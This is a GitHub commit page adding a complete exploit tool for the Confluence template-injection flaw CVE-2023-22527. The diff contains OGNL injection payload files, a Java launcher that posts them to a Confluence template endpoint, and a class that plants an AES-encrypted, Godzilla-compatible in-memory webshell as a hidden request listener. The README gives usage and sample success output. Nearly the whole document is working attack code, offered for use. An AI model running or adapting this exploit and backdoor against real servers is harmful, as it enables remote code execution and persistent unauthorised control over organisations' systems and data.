Skip to content

Commit

Permalink
CVE-2023-22527-Godzilla-MEMSHELL
Browse files Browse the repository at this point in the history
  • Loading branch information
Boogipop committed Feb 11, 2024
1 parent ca79485 commit f782f38
Show file tree
Hide file tree
Showing 21 changed files with 431 additions and 1 deletion.
12 changes: 12 additions & 0 deletions CVE-2022-26134.iml
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4">
<component name="NewModuleRootManager" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
<orderEntry type="library" name="javassist-3.28.0-GA" level="project" />
</component>
</module>
12 changes: 12 additions & 0 deletions CVE-2023-22527-Godzilla-MEMSHELL-main.iml
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4">
<component name="NewModuleRootManager" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
<orderEntry type="library" name="javassist-3.28.0-GA" level="project" />
</component>
</module>
31 changes: 30 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,31 @@
# CVE-2023-22527-Godzilla-MEMSHELL
CVE-2023-22527 内存马注入工具

## Usage
```
java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url 哥斯拉密码 哥斯拉密钥
example
java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://xxxx/ pass key
```

如果内存Shell已经注入成功但哥斯拉无法连接,请在请求配置添加以下协议头或者为哥斯拉配置Burp代理
```
Connection: close
```

```
$ java -jar .\CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://127.0.0.1:8090/ qaxnb key
[*] Exploit url: http://127.0.0.1:8090/template/aui/text-inline.vm
Response Code: 200
Response Code: 200
[*] send payload
Validate Response Code: 200
[*] exploit success
[*] godzilla webshell password : qaxnb
[*] godzilla webshell key : key
```

![img.png](img.png)
Binary file added img.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added libs/javassist-3.28.0-GA.jar
Binary file not shown.
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
Manifest-Version: 1.0
Main-Class: main.Main

Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&[email protected]@applyExpressionMaxLength(100000)
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
aaa\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})+\u0027
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
(@org.springframework.cglib.core.ReflectUtils@defineClass('{className}',@org.springframework.util.Base64Utils@decodeFromString('{payload}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()
3 changes: 3 additions & 0 deletions src/META-INF/MANIFEST.MF
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
Manifest-Version: 1.0
Main-Class: main.Main

195 changes: 195 additions & 0 deletions src/main/ConfluenceFilterMemshell.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,195 @@
package main;

import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.Base64;

public class ConfluenceFilterMemshell extends ClassLoader implements InvocationHandler {
private static boolean initialized = false;
private static Object lock = new Object();
private static Class payloadClass;
private static String password;
private static String key;
public ConfluenceFilterMemshell(ClassLoader loader){
super(loader);
}
public ConfluenceFilterMemshell(){
synchronized (lock){
if (!initialized){
try {
Class servletRequestListenerClass = null;
try {
servletRequestListenerClass = Class.forName("jakarta.servlet.ServletRequestListener");
} catch (Exception e) {
try {
servletRequestListenerClass = Class.forName("javax.servlet.ServletRequestListener");
} catch (ClassNotFoundException ex) {

}
}
if (servletRequestListenerClass!=null){
addListener(Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{servletRequestListenerClass},this),getStandardContext());
}
}catch (Throwable e){

}
initialized = true;
}
}
}


private Object getStandardContext() {
try {
Object servletActionContextCompatManager = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").newInstance();
Method getRequest = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").getMethod("getRequest");
Object request = getRequest.invoke(servletActionContextCompatManager, null);
Object servletContext = invokeMethod(request, "getServletContext");
return getFieldValue(getFieldValue(servletContext,"context"), "context");
} catch (Exception e) {

return null;
}
}

private String addListener(Object listener,Object standardContext)throws Exception{
Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener",Object.class);
addApplicationEventListenerMethod.setAccessible(true);
addApplicationEventListenerMethod.invoke(standardContext,listener);
return "ok";
}


public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("requestInitialized")){
Object servletRequestEvent = args[0];
backDoor(servletRequestEvent);
}
return null;
}

private Object invokeMethod(Object obj,String methodName,Object... parameters){
try {
ArrayList classes = new ArrayList();
if (parameters!=null){
for (int i=0;i<parameters.length;i++){
Object o1=parameters[i];
if (o1!=null){
classes.add(o1.getClass());
}else{
classes.add(null);
}
}
}
Method method=getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[]{}));

return method.invoke(obj, parameters);
}catch (Exception e){
// e.printStackTrace();
}
return null;
}
private Method getMethodByClass(Class cs,String methodName,Class... parameters){
Method method=null;
while (cs!=null){
try {
method=cs.getMethod(methodName, parameters);
cs=null;
}catch (Exception e){
cs=cs.getSuperclass();
}
}
return method;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f=null;
if (obj instanceof Field){
f=(Field)obj;
}else {
Method method=null;
Class cs=obj.getClass();
while (cs!=null){
try {
f=cs.getDeclaredField(fieldName);
cs=null;
}catch (Exception e){
cs=cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
public String getParameter(Object requestObject,String name) {
return (String) invokeMethod(requestObject, "getParameter", name);
}
public String getContentType(Object requestObject) {
return (String) invokeMethod(requestObject, "getContentType");
}


public byte[] aes(byte[] s,boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(key.getBytes(),"AES"));
return c.doFinal(s);
}catch (Exception e){
return null;
}
}

public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; }

private void backDoor(Object servletRequestEvent) {
try {
Object request = invokeMethod(servletRequestEvent,"getServletRequest");
Object responseforvalidate = getFieldValue(getFieldValue(request, "request"), "response");
this.invokeMethod(responseforvalidate,"setHeader","X-Cmd-Result","ok");
if (true){
try {
String contentType = getContentType(request);
if (contentType!=null && contentType.contains("application/x-www-form-urlencoded")) {
String value = getParameter(request,password);
if (value!=null){
byte[] data = Base64.getDecoder().decode(value);
data = aes(data, false);
if (data != null && data.length > 0){
if (payloadClass == null) {
payloadClass = new ConfluenceFilterMemshell(request.getClass().getClassLoader()).defineClass(data,0,data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payloadClass.newInstance();
f.equals(arrOut);
f.equals(request);
f.equals(data);
f.toString();

String md5 = md5(password + key);
if (arrOut.size()>0) {
Object response = getFieldValue(getFieldValue(request,"request"),"response");
PrintWriter printWriter = (PrintWriter) invokeMethod(response,"getWriter");
printWriter.write(md5.substring(0, 16));
printWriter.write(Base64.getEncoder().encodeToString(aes(arrOut.toByteArray(), true)));
printWriter.write(md5.substring(16));
printWriter.flush();
printWriter.close();
}
}
}
}
}

}catch (Throwable e){
}
}
}catch (Exception e){

}
}


}
93 changes: 93 additions & 0 deletions src/main/Main.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
package main;
import javassist.ClassPool;
import javassist.CtClass;

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.UUID;

public class Main {
public static void main(String[] args) throws Throwable{
if (args.length < 2) {
System.out.println("java -jar CVE-2022-26134.jar http://127.0.0.1:8090/ pass key");
return;
}

String urlstr = args[0];
String password = args[1];
String key = args[2];
URL url = new URL(urlstr);
String baseUrl = url.getProtocol() + "://" + url.getHost() + ":" + url.getPort() + "/";
String ExploitUrl=baseUrl+"template/aui/text-inline.vm";
System.out.println("[*] Exploit url: " + ExploitUrl);

MiTM.trustAllHttpsCertificates();
CtClass ctClass = ClassPool.getDefault().get("main.ConfluenceFilterMemshell");
ctClass.makeClassInitializer().insertBefore(String.format("password = \"%s\";\n" +
" key = \"%s\";\n",password,md5(key).substring(0, 16).toLowerCase()));
ctClass.setName("com.opensymphony.xwork." + UUID.randomUUID().toString().replace("-", ""));
String txt = new String(readInputStream(Main.class.getResourceAsStream("poc.txt")));
String labeltxt = new String(readInputStream(Main.class.getResourceAsStream("label.txt")));
txt = txt.replace("{payload}", Base64.getEncoder().encodeToString(ctClass.toBytecode()));
txt = txt.replace("{className}",ctClass.getName());
String initpayload=new String(readInputStream(Main.class.getResourceAsStream("initpayload.txt")));
String Exploitcontent = "poc=" + URLEncoder.encode(txt)+"&label="+URLEncoder.encode(labeltxt);
SendPostRequest(initpayload,ExploitUrl);
SendPostRequest(Exploitcontent,ExploitUrl);
System.out.println("[*] send payload");
HttpURLConnection validateRequest = ValidateRequest(ExploitUrl);
if ( "ok".equals(validateRequest.getHeaderField("X-Cmd-Result"))){
System.out.println("[*] exploit success");
System.out.println("[*] godzilla webshell password : " + password);
System.out.println("[*] godzilla webshell key : " + key);
}else {
System.out.println("[*] exploit fail");
}
}
public static void SendPostRequest(String content,String url) throws Exception{
HttpURLConnection urlConnection = (HttpURLConnection) new URL(url).openConnection();
urlConnection.setRequestMethod("POST");
urlConnection.setInstanceFollowRedirects(false);
urlConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
urlConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36");
urlConnection.setDoOutput(true);
urlConnection.setDoInput(true);
urlConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
byte[] postDataBytes = content.getBytes(StandardCharsets.UTF_8);
urlConnection.setRequestProperty("Content-Length", String.valueOf(postDataBytes.length));
try (DataOutputStream wr = new DataOutputStream(urlConnection.getOutputStream())) {
wr.write(postDataBytes);
}
int responseCode = urlConnection.getResponseCode();
System.out.println("Response Code: " + responseCode);
urlConnection.disconnect();
}
public static HttpURLConnection ValidateRequest(String url) throws Exception {
MiTM.trustAllHttpsCertificates();
HttpURLConnection urlConnection = (HttpURLConnection) new URL(url).openConnection();
urlConnection.setRequestMethod("GET");
int responseCode = urlConnection.getResponseCode();
System.out.println("Validate Response Code: " + responseCode);
return urlConnection;
}
public static byte[] readInputStream(InputStream inputStream) {
byte[] temp = new byte[4096];
int readOneNum = 0;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
while ((readOneNum = inputStream.read(temp)) != -1) {
bos.write(temp, 0, readOneNum);
}
inputStream.close();
}catch (Exception e){
}
return bos.toByteArray();
}
public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; }

}
Loading

0 comments on commit f782f38

Please sign in to comment.